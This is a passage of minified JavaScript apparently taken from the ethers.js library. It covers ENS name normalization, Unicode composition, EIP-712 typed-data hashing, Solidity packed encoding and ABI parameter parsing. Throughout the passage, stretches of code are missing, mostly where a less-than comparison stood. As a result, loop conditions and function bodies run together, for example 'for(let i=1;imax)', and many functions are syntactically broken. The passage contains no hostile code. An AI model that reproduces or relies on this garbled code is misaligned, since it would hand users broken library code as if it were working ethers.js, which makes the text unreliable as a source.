i=0,x=0;i{let v=read_sorted(next);if(v.length)return v})}function read_mapped(next){let ret=[];while(true){let w=next();if(w==0)break;ret.push(read_linear_table(w,next))}while(true){let w=next()-1;if(w<0)break;ret.push(read_replacement_table(w,next))}return ret.flat()}function read_array_while(next){let v=[];while(true){let x=next(v.length);if(!x)break;v.push(x)}return v}function read_transposed(n,w,next){let m=Array(n).fill().map(()=>[]);for(let i=0;im[j].push(x))}return m}function read_linear_table(w,next){let dx=1+next();let dy=next();let vN=read_array_while(next);let m=read_transposed(vN.length,1+w,next);return m.flatMap((v,i)=>{let[x,...ys]=v;return Array(vN[i]).fill().map((_,j)=>{let j_dy=j*dy;return[x+j*dx,ys.map(y=>y+j_dy)]})})}function read_replacement_table(w,next){let n=1+next();let m=read_transposed(n,1+w,next);return m.map(v=>[v[0],v.slice(1)])}function read_trie(next){let ret=[];let sorted=read_sorted(next);expand(decode([]),[]);return ret;function decode(Q){let S=next();let B=read_array_while(()=>{let cps=read_sorted(next).map(i=>sorted[i]);if(cps.length)return decode(cps)});return{S:S,B:B,Q:Q}}function expand({S,B},cps,saved){if(S&4&&saved===cps[cps.length-1])return;if(S&2)saved=cps[cps.length-1];if(S&1)ret.push(cps);for(let br of B){for(let cp of br.Q){expand(br,[...cps,cp],saved)}}}}function hex_cp(cp){return cp.toString(16).toUpperCase().padStart(2,"0")}function quote_cp(cp){return`{${hex_cp(cp)}}`}function explode_cp(s){let cps=[];for(let pos=0,len=s.length;pos>24&255}function unpack_cp(packed){return packed&16777215}let SHIFTED_RANK,EXCLUSIONS,DECOMP,RECOMP;function init$1(){let r=read_compressed_payload(COMPRESSED);SHIFTED_RANK=new Map(read_sorted_arrays(r).flatMap((v,i)=>v.map(x=>[x,i+1<<24])));EXCLUSIONS=new Set(read_sorted(r));DECOMP=new Map;RECOMP=new Map;for(let[cp,cps]of read_mapped(r)){if(!EXCLUSIONS.has(cp)&&cps.length==2){let[a,b]=cps;let bucket=RECOMP.get(a);if(!bucket){bucket=new Map;RECOMP.set(a,bucket)}bucket.set(b,cp)}DECOMP.set(cp,cps.reverse())}}function is_hangul(cp){return cp>=S0&&cp=L0&&a=V0&&bT0&&b0)add(T0+t_index)}else{let mapped=DECOMP.get(cp);if(mapped){buf.push(...mapped)}else{add(cp)}}if(!buf.length)break;cp=buf.pop()}}if(check_order&&ret.length>1){let prev_cc=unpack_cc(ret[0]);for(let i=1;i0&&prev_cc>=cc){if(cc==0){ret.push(prev_cp,...stack);stack.length=0;prev_cp=cp}else{stack.push(cp)}prev_cc=cc}else{let composed=compose_pair(prev_cp,cp);if(composed>=0){prev_cp=composed}else if(prev_cc==0&&cc==0){ret.push(prev_cp);prev_cp=cp}else{stack.push(cp);prev_cc=cc}}}if(prev_cp>=0){ret.push(prev_cp,...stack)}return ret}function nfd(cps){return decomposed(cps).map(unpack_cp)}function nfc(cps){return composed_from_decomposed(decomposed(cps))}const HYPHEN=45;const STOP_CH=".";const FE0F=65039;const UNIQUE_PH=1;const Array_from=x=>Array.from(x);function group_has_cp(g,cp){return g.P.has(cp)||g.Q.has(cp)}class Emoji extends Array{get is_emoji(){return true}}let MAPPED,IGNORED,CM,NSM,ESCAPE,GROUPS,WHOLE_VALID,WHOLE_MAP,VALID,EMOJI_LIST,EMOJI_ROOT;function init(){if(MAPPED)return;let r=read_compressed_payload(COMPRESSED$1);const read_sorted_array=()=>read_sorted(r);const read_sorted_set=()=>new Set(read_sorted_array());const set_add_many=(set,v)=>v.forEach(x=>set.add(x));MAPPED=new Map(read_mapped(r));IGNORED=read_sorted_set();CM=read_sorted_array();NSM=new Set(read_sorted_array().map(i=>CM[i]));CM=new Set(CM);ESCAPE=read_sorted_set();read_sorted_set();let chunks=read_sorted_arrays(r);let unrestricted=r();const read_chunked=()=>{let set=new Set;read_sorted_array().forEach(i=>set_add_many(set,chunks[i]));set_add_many(set,read_sorted_array());return set};GROUPS=read_array_while(i=>{let N=read_array_while(r).map(x=>x+96);if(N.length){let R=i>=unrestricted;N[0]-=32;N=str_from_cps(N);if(R)N=`Restricted[${N}]`;let P=read_chunked();let Q=read_chunked();let M=!r();return{N:N,P:P,Q:Q,M:M,R:R}}});WHOLE_VALID=read_sorted_set();WHOLE_MAP=new Map;let wholes=read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a,b)=>a-b);wholes.forEach((cp,i)=>{let d=r();let w=wholes[i]=d?wholes[i-d]:{V:[],M:new Map};w.V.push(cp);if(!WHOLE_VALID.has(cp)){WHOLE_MAP.set(cp,w)}});for(let{V,M}of new Set(WHOLE_MAP.values())){let recs=[];for(let cp of V){let gs=GROUPS.filter(g=>group_has_cp(g,cp));let rec=recs.find(({G})=>gs.some(g=>G.has(g)));if(!rec){rec={G:new Set,V:[]};recs.push(rec)}rec.V.push(cp);set_add_many(rec.G,gs)}let union=recs.flatMap(x=>Array_from(x.G));for(let{G,V}of recs){let complement=new Set(union.filter(g=>!G.has(g)));for(let cp of V){M.set(cp,complement)}}}VALID=new Set;let multi=new Set;const add_to_union=cp=>VALID.has(cp)?multi.add(cp):VALID.add(cp);for(let g of GROUPS){for(let cp of g.P)add_to_union(cp);for(let cp of g.Q)add_to_union(cp)}for(let cp of VALID){if(!WHOLE_MAP.has(cp)&&!multi.has(cp)){WHOLE_MAP.set(cp,UNIQUE_PH)}}set_add_many(VALID,nfd(VALID));EMOJI_LIST=read_trie(r).map(v=>Emoji.from(v)).sort(compare_arrays);EMOJI_ROOT=new Map;for(let cps of EMOJI_LIST){let prev=[EMOJI_ROOT];for(let cp of cps){let next=prev.map(node=>{let child=node.get(cp);if(!child){child=new Map;node.set(cp,child)}return child});if(cp===FE0F){prev.push(...next)}else{prev=next}}for(let x of prev){x.V=cps}}}function quoted_cp(cp){return(should_escape(cp)?"":`${bidi_qq(safe_str_from_cps([cp]))} `)+quote_cp(cp)}function bidi_qq(s){return`"${s}"\u200E`}function check_label_extension(cps){if(cps.length>=4&&cps[2]==HYPHEN&&cps[3]==HYPHEN){throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0,4))}"`)}}function check_leading_underscore(cps){const UNDERSCORE=95;for(let i=cps.lastIndexOf(UNDERSCORE);i>0;){if(cps[--i]!==UNDERSCORE){throw new Error("underscore allowed only at start")}}}function check_fenced(cps){let cp=cps[0];let prev=FENCED.get(cp);if(prev)throw error_placement(`leading ${prev}`);let n=cps.length;let last=-1;for(let i=1;imax){max>>=1;cps=[...cps.slice(0,max),8230,...cps.slice(-max)]}let prev=0;let n=cps.length;for(let i=0;i{let input=explode_cp(label);let info={input:input,offset:offset};offset+=input.length+1;try{let tokens=info.tokens=tokens_from_str(input,nf,ef);let token_count=tokens.length;let type;if(!token_count){throw new Error(`empty label`)}let norm=info.output=tokens.flat();check_leading_underscore(norm);let emoji=info.emoji=token_count>1||tokens[0].is_emoji;if(!emoji&&norm.every(cp=>cp<128)){check_label_extension(norm);type="ASCII"}else{let chars=tokens.flatMap(x=>x.is_emoji?[]:x);if(!chars.length){type="Emoji"}else{if(CM.has(norm[0]))throw error_placement("leading combining mark");for(let i=1;iset.has(g)):Array_from(set);if(!maker.length)return}else{shared.push(cp)}}if(maker){for(let g of maker){if(shared.every(cp=>group_has_cp(g,cp))){throw new Error(`whole-script confusable: ${group.N}/${g.N}`)}}}}function determine_group(unique){let groups=GROUPS;for(let cp of unique){let gs=groups.filter(g=>group_has_cp(g,cp));if(!gs.length){if(!GROUPS.some(g=>group_has_cp(g,cp))){throw error_disallowed(cp)}else{throw error_group_member(groups[0],cp)}}groups=gs;if(gs.length==1)break}return groups}function flatten(split){return split.map(({input,error,output})=>{if(error){let msg=error.message;throw new Error(split.length==1?msg:`Invalid label ${bidi_qq(safe_str_from_cps(input,63))}: ${msg}`)}return str_from_cps(output)}).join(STOP_CH)}function error_disallowed(cp){return new Error(`disallowed character: ${quoted_cp(cp)}`)}function error_group_member(g,cp){let quoted=quoted_cp(cp);let gg=GROUPS.find(g=>g.P.has(cp));if(gg){quoted=`${gg.N} ${quoted}`}return new Error(`illegal mixture: ${g.N} + ${quoted}`)}function error_placement(where){return new Error(`illegal placement: ${where}`)}function check_group(g,cps){for(let cp of cps){if(!group_has_cp(g,cp)){throw error_group_member(g,cp)}}if(g.M){let decomposed=nfd(cps);for(let i=1,e=decomposed.length;iNSM_MAX){throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1,j)))} (${j-i}/${NSM_MAX})`)}i=j}}}}function tokens_from_str(input,nf,ef){let ret=[];let chars=[];input=input.slice().reverse();while(input.length){let emoji=consume_emoji_reversed(input);if(emoji){if(chars.length){ret.push(nf(chars));chars=[]}ret.push(ef(emoji))}else{let cp=input.pop();if(VALID.has(cp)){chars.push(cp)}else{let cps=MAPPED.get(cp);if(cps){chars.push(...cps)}else if(!IGNORED.has(cp)){throw error_disallowed(cp)}}}}if(chars.length){ret.push(nf(chars))}return ret}function filter_fe0f(cps){return cps.filter(cp=>cp!=FE0F)}function consume_emoji_reversed(cps,eaten){let node=EMOJI_ROOT;let emoji;let pos=cps.length;while(pos){node=node.get(cps[--pos]);if(!node)break;let{V}=node;if(V){emoji=V;cps.length=pos}}return emoji}const Zeros=new Uint8Array(32);Zeros.fill(0);function checkComponent(comp){assertArgument(comp.length!==0,"invalid ENS name; empty component","comp",comp);return comp}function ensNameSplit(name){const bytes=toUtf8Bytes(ensNormalize(name));const comps=[];if(name.length===0){return comps}let last=0;for(let i=0;i{assertArgument(comp.length<=length,`label ${JSON.stringify(name)} exceeds ${length} bytes`,"name",name);const bytes=new Uint8Array(comp.length+1);bytes.set(comp,1);bytes[0]=bytes.length-1;return bytes})))+"00"}function hashMessage(message){if(typeof message==="string"){message=toUtf8Bytes(message)}return keccak256(concat([toUtf8Bytes(MessagePrefix),toUtf8Bytes(String(message.length)),message]))}function verifyMessage(message,sig){const digest=hashMessage(message);return recoverAddress(digest,sig)}const regexBytes=new RegExp("^bytes([0-9]+)$");const regexNumber=new RegExp("^(u?int)([0-9]*)$");const regexArray=new RegExp("^(.*)\\[([0-9]*)\\]$");function _pack(type,value,isArray){switch(type){case"address":if(isArray){return getBytes(zeroPadValue(value,32))}return getBytes(getAddress(value));case"string":return toUtf8Bytes(value);case"bytes":return getBytes(value);case"bool":value=!!value?"0x01":"0x00";if(isArray){return getBytes(zeroPadValue(value,32))}return getBytes(value)}let match=type.match(regexNumber);if(match){let signed=match[1]==="int";let size=parseInt(match[2]||"256");assertArgument((!match[2]||match[2]===String(size))&&size%8===0&&size!==0&&size<=256,"invalid number type","type",type);if(isArray){size=256}if(signed){value=toTwos(value,size)}return getBytes(zeroPadValue(toBeArray(value),size/8))}match=type.match(regexBytes);if(match){const size=parseInt(match[1]);assertArgument(String(size)===match[1]&&size!==0&&size<=32,"invalid bytes type","type",type);assertArgument(dataLength(value)===size,`invalid value for ${type}`,"value",value);if(isArray){return getBytes(zeroPadBytes(value,32))}return value}match=type.match(regexArray);if(match&&Array.isArray(value)){const baseType=match[1];const count=parseInt(match[2]||String(value.length));assertArgument(count===value.length,`invalid array length for ${type}`,"value",value);const result=[];value.forEach(function(value){result.push(_pack(baseType,value,true))});return getBytes(concat(result))}assertArgument(false,"invalid type","type",type)}function solidityPacked(types,values){assertArgument(types.length===values.length,"wrong number of values; expected ${ types.length }","values",values);const tight=[];types.forEach(function(type,index){tight.push(_pack(type,values[index]))});return hexlify(concat(tight))}function solidityPackedKeccak256(types,values){return keccak256(solidityPacked(types,values))}function solidityPackedSha256(types,values){return sha256(solidityPacked(types,values))}const padding=new Uint8Array(32);padding.fill(0);const BN__1=BigInt(-1);const BN_0$3=BigInt(0);const BN_1$1=BigInt(1);const BN_MAX_UINT256=BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");function hexPadRight(value){const bytes=getBytes(value);const padOffset=bytes.length%32;if(padOffset){return concat([bytes,padding.slice(padOffset)])}return hexlify(bytes)}const hexTrue=toBeHex(BN_1$1,32);const hexFalse=toBeHex(BN_0$3,32);const domainFieldTypes={name:"string",version:"string",chainId:"uint256",verifyingContract:"address",salt:"bytes32"};const domainFieldNames=["name","version","chainId","verifyingContract","salt"];function checkString(key){return function(value){assertArgument(typeof value==="string",`invalid domain value for ${JSON.stringify(key)}`,`domain.${key}`,value);return value}}const domainChecks={name:checkString("name"),version:checkString("version"),chainId:function(_value){const value=getBigInt(_value,"domain.chainId");assertArgument(value>=0,"invalid chain ID","domain.chainId",_value);if(Number.isSafeInteger(value)){return Number(value)}return toQuantity(value)},verifyingContract:function(value){try{return getAddress(value).toLowerCase()}catch(error){}assertArgument(false,`invalid domain value "verifyingContract"`,"domain.verifyingContract",value)},salt:function(value){const bytes=getBytes(value,"domain.salt");assertArgument(bytes.length===32,`invalid domain value "salt"`,"domain.salt",value);return hexlify(bytes)}};function getBaseEncoder(type){{const match=type.match(/^(u?)int(\d+)$/);if(match){const signed=match[1]==="";const width=parseInt(match[2]);assertArgument(width%8===0&&width!==0&&width<=256&&match[2]===String(width),"invalid numeric width","type",type);const boundsUpper=mask(BN_MAX_UINT256,signed?width-1:width);const boundsLower=signed?(boundsUpper+BN_1$1)*BN__1:BN_0$3;return function(_value){const value=getBigInt(_value,"value");assertArgument(value>=boundsLower&&value<=boundsUpper,`value out-of-bounds for ${type}`,"value",value);return toBeHex(signed?toTwos(value,256):value,32)}}}{const match=type.match(/^bytes(\d+)$/);if(match){const width=parseInt(match[1]);assertArgument(width!==0&&width<=32&&match[1]===String(width),"invalid bytes width","type",type);return function(value){const bytes=getBytes(value);assertArgument(bytes.length===width,`invalid length for ${type}`,"value",value);return hexPadRight(value)}}}switch(type){case"address":return function(value){return zeroPadValue(getAddress(value),32)};case"bool":return function(value){return!value?hexFalse:hexTrue};case"bytes":return function(value){return keccak256(value)};case"string":return function(value){return id(value)}}return null}function encodeType(name,fields){return`${name}(${fields.map(({name,type})=>type+" "+name).join(",")})`}function splitArray(type){const match=type.match(/^([^\x5b]*)((\x5b\d*\x5d)*)(\x5b(\d*)\x5d)$/);if(match){return{base:match[1],index:match[2]+match[4],array:{base:match[1],prefix:match[1]+match[2],count:match[5]?parseInt(match[5]):-1}}}return{base:type}}class TypedDataEncoder{primaryType;#types;get types(){return JSON.parse(this.#types)}#fullTypes;#encoderCache;constructor(_types){this.#fullTypes=new Map;this.#encoderCache=new Map;const links=new Map;const parents=new Map;const subtypes=new Map;const types={};Object.keys(_types).forEach(type=>{types[type]=_types[type].map(({name,type})=>{let{base,index}=splitArray(type);if(base==="int"&&!_types["int"]){base="int256"}if(base==="uint"&&!_types["uint"]){base="uint256"}return{name:name,type:base+(index||"")}});links.set(type,new Set);parents.set(type,[]);subtypes.set(type,new Set)});this.#types=JSON.stringify(types);for(const name in types){const uniqueNames=new Set;for(const field of types[name]){assertArgument(!uniqueNames.has(field.name),`duplicate variable name ${JSON.stringify(field.name)} in ${JSON.stringify(name)}`,"types",_types);uniqueNames.add(field.name);const baseType=splitArray(field.type).base;assertArgument(baseType!==name,`circular type reference to ${JSON.stringify(baseType)}`,"types",_types);const encoder=getBaseEncoder(baseType);if(encoder){continue}assertArgument(parents.has(baseType),`unknown type ${JSON.stringify(baseType)}`,"types",_types);parents.get(baseType).push(name);links.get(name).add(baseType)}}const primaryTypes=Array.from(parents.keys()).filter(n=>parents.get(n).length===0);assertArgument(primaryTypes.length!==0,"missing primary type","types",_types);assertArgument(primaryTypes.length===1,`ambiguous primary types or unused types: ${primaryTypes.map(t=>JSON.stringify(t)).join(", ")}`,"types",_types);defineProperties(this,{primaryType:primaryTypes[0]});function checkCircular(type,found){assertArgument(!found.has(type),`circular type reference to ${JSON.stringify(type)}`,"types",_types);found.add(type);for(const child of links.get(type)){if(!parents.has(child)){continue}checkCircular(child,found);for(const subtype of found){subtypes.get(subtype).add(child)}}found.delete(type)}checkCircular(this.primaryType,new Set);for(const[name,set]of subtypes){const st=Array.from(set);st.sort();this.#fullTypes.set(name,encodeType(name,types[name])+st.map(t=>encodeType(t,types[t])).join(""))}}getEncoder(type){let encoder=this.#encoderCache.get(type);if(!encoder){encoder=this.#getEncoder(type);this.#encoderCache.set(type,encoder)}return encoder}#getEncoder(type){{const encoder=getBaseEncoder(type);if(encoder){return encoder}}const array=splitArray(type).array;if(array){const subtype=array.prefix;const subEncoder=this.getEncoder(subtype);return value=>{assertArgument(array.count===-1||array.count===value.length,`array length mismatch; expected length ${array.count}`,"value",value);let result=value.map(subEncoder);if(this.#fullTypes.has(subtype)){result=result.map(keccak256)}return keccak256(concat(result))}}const fields=this.types[type];if(fields){const encodedType=id(this.#fullTypes.get(type));return value=>{const values=fields.map(({name,type})=>{const result=this.getEncoder(type)(value[name]);if(this.#fullTypes.has(type)){return keccak256(result)}return result});values.unshift(encodedType);return concat(values)}}assertArgument(false,`unknown type: ${type}`,"type",type)}encodeType(name){const result=this.#fullTypes.get(name);assertArgument(result,`unknown type: ${JSON.stringify(name)}`,"name",name);return result}encodeData(type,value){return this.getEncoder(type)(value)}hashStruct(name,value){return keccak256(this.encodeData(name,value))}encode(value){return this.encodeData(this.primaryType,value)}hash(value){return this.hashStruct(this.primaryType,value)}_visit(type,value,callback){{const encoder=getBaseEncoder(type);if(encoder){return callback(type,value)}}const array=splitArray(type).array;if(array){assertArgument(array.count===-1||array.count===value.length,`array length mismatch; expected length ${array.count}`,"value",value);return value.map(v=>this._visit(array.prefix,v,callback))}const fields=this.types[type];if(fields){return fields.reduce((accum,{name,type})=>{accum[name]=this._visit(type,value[name],callback);return accum},{})}assertArgument(false,`unknown type: ${type}`,"type",type)}visit(value,callback){return this._visit(this.primaryType,value,callback)}static from(types){return new TypedDataEncoder(types)}static getPrimaryType(types){return TypedDataEncoder.from(types).primaryType}static hashStruct(name,types,value){return TypedDataEncoder.from(types).hashStruct(name,value)}static hashDomain(domain){const domainFields=[];for(const name in domain){if(domain[name]==null){continue}const type=domainFieldTypes[name];assertArgument(type,`invalid typed-data domain key: ${JSON.stringify(name)}`,"domain",domain);domainFields.push({name:name,type:type})}domainFields.sort((a,b)=>{return domainFieldNames.indexOf(a.name)-domainFieldNames.indexOf(b.name)});return TypedDataEncoder.hashStruct("EIP712Domain",{EIP712Domain:domainFields},domain)}static encode(domain,types,value){return concat(["0x1901",TypedDataEncoder.hashDomain(domain),TypedDataEncoder.from(types).hash(value)])}static hash(domain,types,value){return keccak256(TypedDataEncoder.encode(domain,types,value))}static async resolveNames(domain,types,value,resolveName){domain=Object.assign({},domain);for(const key in domain){if(domain[key]==null){delete domain[key]}}const ensCache={};if(domain.verifyingContract&&!isHexString(domain.verifyingContract,20)){ensCache[domain.verifyingContract]="0x"}const encoder=TypedDataEncoder.from(types);encoder.visit(value,(type,value)=>{if(type==="address"&&!isHexString(value,20)){ensCache[value]="0x"}return value});for(const name in ensCache){ensCache[name]=await resolveName(name)}if(domain.verifyingContract&&ensCache[domain.verifyingContract]){domain.verifyingContract=ensCache[domain.verifyingContract]}value=encoder.visit(value,(type,value)=>{if(type==="address"&&ensCache[value]){return ensCache[value]}return value});return{domain:domain,value:value}}static getPayload(domain,types,value){TypedDataEncoder.hashDomain(domain);const domainValues={};const domainTypes=[];domainFieldNames.forEach(name=>{const value=domain[name];if(value==null){return}domainValues[name]=domainChecks[name](value);domainTypes.push({name:name,type:domainFieldTypes[name]})});const encoder=TypedDataEncoder.from(types);types=encoder.types;const typesWithDomain=Object.assign({},types);assertArgument(typesWithDomain.EIP712Domain==null,"types must not contain EIP712Domain type","types.EIP712Domain",types);typesWithDomain.EIP712Domain=domainTypes;encoder.encode(value);return{types:typesWithDomain,domain:domainValues,primaryType:encoder.primaryType,message:encoder.visit(value,(type,value)=>{if(type.match(/^bytes(\d*)/)){return hexlify(getBytes(value))}if(type.match(/^u?int/)){return getBigInt(value).toString()}switch(type){case"address":return value.toLowerCase();case"bool":return!!value;case"string":assertArgument(typeof value==="string","invalid string","value",value);return value}assertArgument(false,"unsupported type","type",type)})}}}function verifyTypedData(domain,types,value,signature){return recoverAddress(TypedDataEncoder.hash(domain,types,value),signature)}function setify(items){const result=new Set;items.forEach(k=>result.add(k));return Object.freeze(result)}const _kwVisibDeploy="external public payable override";const KwVisibDeploy=setify(_kwVisibDeploy.split(" "));const _kwVisib="constant external internal payable private public pure view override";const KwVisib=setify(_kwVisib.split(" "));const _kwTypes="constructor error event fallback function receive struct";const KwTypes=setify(_kwTypes.split(" "));const _kwModifiers="calldata memory storage payable indexed";const KwModifiers=setify(_kwModifiers.split(" "));const _kwOther="tuple returns";const _keywords=[_kwTypes,_kwModifiers,_kwOther,_kwVisib].join(" ");const Keywords=setify(_keywords.split(" "));const SimpleTokens={"(":"OPEN_PAREN",")":"CLOSE_PAREN","[":"OPEN_BRACKET","]":"CLOSE_BRACKET",",":"COMMA","@":"AT"};const regexWhitespacePrefix=new RegExp("^(\\s*)");const regexNumberPrefix=new RegExp("^([0-9]+)");const regexIdPrefix=new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)");const regexId=new RegExp("^([a-zA-Z$_][a-zA-Z0-9$_]*)$");const regexType=new RegExp("^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$");class TokenString{#offset;#tokens;get offset(){return this.#offset}get length(){return this.#tokens.length-this.#offset}constructor(tokens){this.#offset=0;this.#tokens=tokens.slice()}clone(){return new TokenString(this.#tokens)}reset(){this.#offset=0}#subTokenString(from=0,to=0){return new TokenString(this.#tokens.slice(from,to).map(t=>{return Object.freeze(Object.assign({},t,{match:t.match-from,linkBack:t.linkBack-from,linkNext:t.linkNext-from}))}))}popKeyword(allowed){const top=this.peek();if(top.type!=="KEYWORD"||!allowed.has(top.text)){throw new Error(`expected keyword ${top.text}`)}return this.pop().text}popType(type){if(this.peek().type!==type){const top=this.peek();throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`)}return this.pop().text}popParen(){const top=this.peek();if(top.type!=="OPEN_PAREN"){throw new Error("bad start")}const result=this.#subTokenString(this.#offset+1,top.match+1);this.#offset=top.match+1;return result}popParams(){const top=this.peek();if(top.type!=="OPEN_PAREN"){throw new Error("bad start")}const result=[];while(this.#offset=this.#tokens.length){throw new Error("out-of-bounds")}return this.#tokens[this.#offset]}peekKeyword(allowed){const top=this.peekType("KEYWORD");return top!=null&&allowed.has(top)?top:null}peekType(type){if(this.length===0){return null}const top=this.peek();return top.type===type?top.text:null}pop(){const result=this.peek();this.#offset++;return result}toString(){const tokens=[];for(let i=this.#offset;i`}}function lex(text){const tokens=[];const throwError=message=>{const token=offset0&&tokens[tokens.length-1].type==="NUMBER"){const value=tokens.pop().text;suffix=value+suffix;tokens[tokens.length-1].value=getNumber(value)}if(tokens.length===0||tokens[tokens.length-1].type!=="BRACKET"){throw new Error("missing opening bracket")}tokens[tokens.length-1].text+=suffix}continue}match=cur.match(regexIdPrefix);if(match){token.text=match[1];offset+=token.text.length;if(Keywords.has(token.text)){token.type="KEYWORD";continue}if(token.text.match(regexType)){token.type="TYPE";continue}token.type="ID";continue}match=cur.match(regexNumberPrefix);if(match){token.text=match[1];token.type="NUMBER";offset+=token.text.length;continue}throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`)}return new TokenString(tokens.map(t=>Object.freeze(t)))}function allowSingle(set,allowed){let included=[];for(const key in allowed.keys()){if(set.has(key)){included.push(key)}}if(included.length>1){throw new Error(`conflicting types: ${included.join(", ")}`)}}function consumeName(type,tokens){if(tokens.peekKeyword(KwTypes)){const keyword=tokens.pop().text;if(keyword!==type){throw new Error(`expected ${type}, got ${keyword}`)}}return tokens.popType("ID")}function consumeKeywords(tokens,allowed){const keywords=new Set;while(true){const keyword=tokens.peekType("KEYWORD");if(keyword==null||allowed&&!allowed.has(keyword)){break}tokens.pop();if(keywords.has(keyword)){throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`)}keywords.add(keyword)}return Object.freeze(keywords)}function consumeMutability(tokens){let modifiers=consumeKeywords(tokens,KwVisib);allowSingle(modifiers,setify("constant payable nonpayable".split(" ")));allowSingle(modifiers,setify("pure view payable nonpayable".split(" ")));if(modifiers.has("view")){return"view"}if(modifiers.has("pure")){return"pure"}if(modifiers.has("payable")){return"payable"}if(modifiers.has("nonpayable")){return"nonpayable"}if(modifiers.has("constant")){return"view"}return"nonpayable"}function consumeParams(tokens,allowIndexed){return tokens.popParams().map(t=>ParamType.from(t,allowIndexed))}function consumeGas(tokens){if(tokens.peekType("AT")){tokens.pop();if(tokens.peekType("NUMBER")){return getBigInt(tokens.pop().text)}throw new Error("invalid gas")}return null}function consumeEoi(tokens){if(tokens.length){throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`)}}const regexArrayType=new RegExp(/^(.*)\[([0-9]*)\]$/);function verifyBasicType(type){const match=type.match(regexType);assertArgument(match,"invalid type","type",type);if(type==="uint"){return"uint256"}if(type==="int"){return"int256"}if(match[2]){const length=parseInt(match[2]);assertArgument(length!==0&&length<=32,"invalid bytes length","type",type)}else if(match[3]){const size=parseInt(match[3]);assertArgument(size!==0&&size<=256&&size%8===0,"invalid numeric width","type",type)}return type}const _guard$2={};const internal$1=Symbol.for("_ethers_internal");const ParamTypeInternal="_ParamTypeInternal";const ErrorFragmentInternal="_ErrorInternal";const EventFragmentInternal="_EventInternal";const ConstructorFragmentInternal="_ConstructorInternal";const FallbackFragmentInternal="_FallbackInternal";const FunctionFragmentInternal="_FunctionInternal";const StructFragmentInternal="_StructInternal";class ParamType{name;type;baseType;indexed;components;arrayLength;arrayChildren;constructor(guard,name,type,baseType,indexed,components,arrayLength,arrayChildren){assertPrivate(guard,_guard$2,"ParamType");Object.defineProperty(this,internal$1,{value:ParamTypeInternal});if(components){components=Object.freeze(components.slice())}if(baseType==="array"){if(arrayLength==null||arrayChildren==null){throw new Error("")}}else if(arrayLength!=null||arrayChildren!=null){throw new Error("")}if(baseType==="tuple"){if(components==null){throw new Error("")}}else if(components!=null){throw new Error("")}defineProperties(this,{name:name,type:type,baseType:baseType,indexed:indexed,components:components,arrayLength:arrayLength,arrayChildren:arrayChildren})}format(format){if(format==null){format="sighash"}if(format==="json"){const name=this.name||"";if(this.isArray()){const result=JSON.parse(this.arrayChildren.format("json"));result.name=name;result.type+=`[${this.arrayLength<0?"":String(this.arrayLength)}]`;return JSON.stringify(result)}const result={type:this.baseType==="tuple"?"tuple":this.type,name:name};if(typeof this.indexed==="boolean"){result.indexed=this.indexed}if(this.isTuple()){result.components=this.components.map(c=>JSON.parse(c.format(format)))}return JSON.stringify(result)}let result="";if(this.isArray()){result+=this.arrayChildren.format(format);result+=`[${this.arrayLength<0?"":String(this.arrayLength)}]`}else{if(this.isTuple()){result+="("+this.components.map(comp=>comp.format(format)).join(format==="full"?", ":",")+")"}else{result+=this.type}}if(format!=="sighash"){if(this.indexed===true){result+=" indexed"}if(format==="full"&&this.name){result+=" "+this.name}}return result}isArray(){return this.baseType==="array"}isTuple(){return this.baseType==="tuple"}isIndexable(){return this.indexed!=null}walk(value,process){if(this.isArray()){if(!Array.isArray(value)){throw new Error("invalid array value")}if(this.arrayLength!==-1&&value.length!==this.arrayLength){throw new Error("array is wrong length")}const _this=this;return value.map(v=>_this.arrayChildren.walk(v,process))}if(this.isTuple()){if(!Array.isArray(value)){throw new Error("invalid tuple value")}if(value.length!==this.components.length){throw new Error("array is wrong length")}const _this=this;return value.map((v,i)=>_this.components[i].walk(v,process))}return process(this.type,value)}#walkAsync(promises,value,process,setValue){if(this.isArray()){if(!Array.isArray(value)){throw new Error("invalid array value")}if(this.arrayLength!==-1&&value.length!==this.arrayLength){throw new Error("array is wrong length")}const childType=this.arrayChildren;const result=value.slice();result.forEach((value,index)=>{childType.#walkAsync(promises,value,process,value=>{result[index]=value})});setValue(result);return}if(this.isTuple()){const components=this.components;let result;if(Array.isArray(value)){result=value.slice()}else{if(value==null||typeof value!=="object"){throw new Error("invalid tuple value")}result=components.map(param=>{if(!param.name){throw new Error("cannot use object value with unnamed components")}if(!(param.name in value)){throw new Error(`missing value for component ${param.name}`)}return value[param.name]})}if(result.length!==this.components.length){throw new Error("array is wrong length")}result.forEach((value,index)=>{components[index].#walkAsync(promises,value,process,value=>{result[index]=value})});setValue(result);return}const result=process(this.type,value);if(result.then){promises.push(async function(){setValue(await result)}())}else{setValue(result)}}async walkAsync(value,process){const promises=[];const result=[value];this.#walkAsync(promises,value,process,value=>{result[0]=value});if(promises.length){await Promise.all(promises)}return result[0]}static from(obj,allowIndexed){if(ParamType.isParamType(obj)){return obj}if(typeof obj==="string"){try{return ParamType.from(lex(obj),allowIndexed)}catch(error){assertArgument(false,"invalid param type","obj",obj)}}else if(obj instanceof TokenString){let type="",baseType="";let comps=null;if(consumeKeywords(obj,setify(["tuple"])).has("tuple")||obj.peekType("OPEN_PAREN")){baseType="tuple";comps=obj.popParams().map(t=>ParamType.from(t));type=`tuple(${comps.map(c=>c.format()).join(",")})`}else{type=verifyBasicType(obj.popType("TYPE"));baseType=type}let arrayChildren=null;let arrayLength=null;while(obj.length&&obj.peekType("BRACKET")){const bracket=obj.pop();arrayChildren=new ParamType(_guard$2,"",type,baseType,null,comps,arrayLength,arrayChildren);arrayLength=bracket.value;type+=bracket.text;baseType="array";comps=null}let indexed=null;const keywords=consumeKeywords(obj,KwModifiers);if(keywords.has("indexed")){if(!allowIndexed){throw new Error("")}indexed=true}const name=obj.peekType("ID")?obj.pop().text:"";if(obj.length){throw new Error("leftover tokens")}return new ParamType(_guard$2,name,type,baseType,indexed,comps,arrayLength,arrayChildren)}const name=obj.name;assertArgument(!name||typeof name==="string"&&name.match(regexId),"invalid name","obj.name",name);let 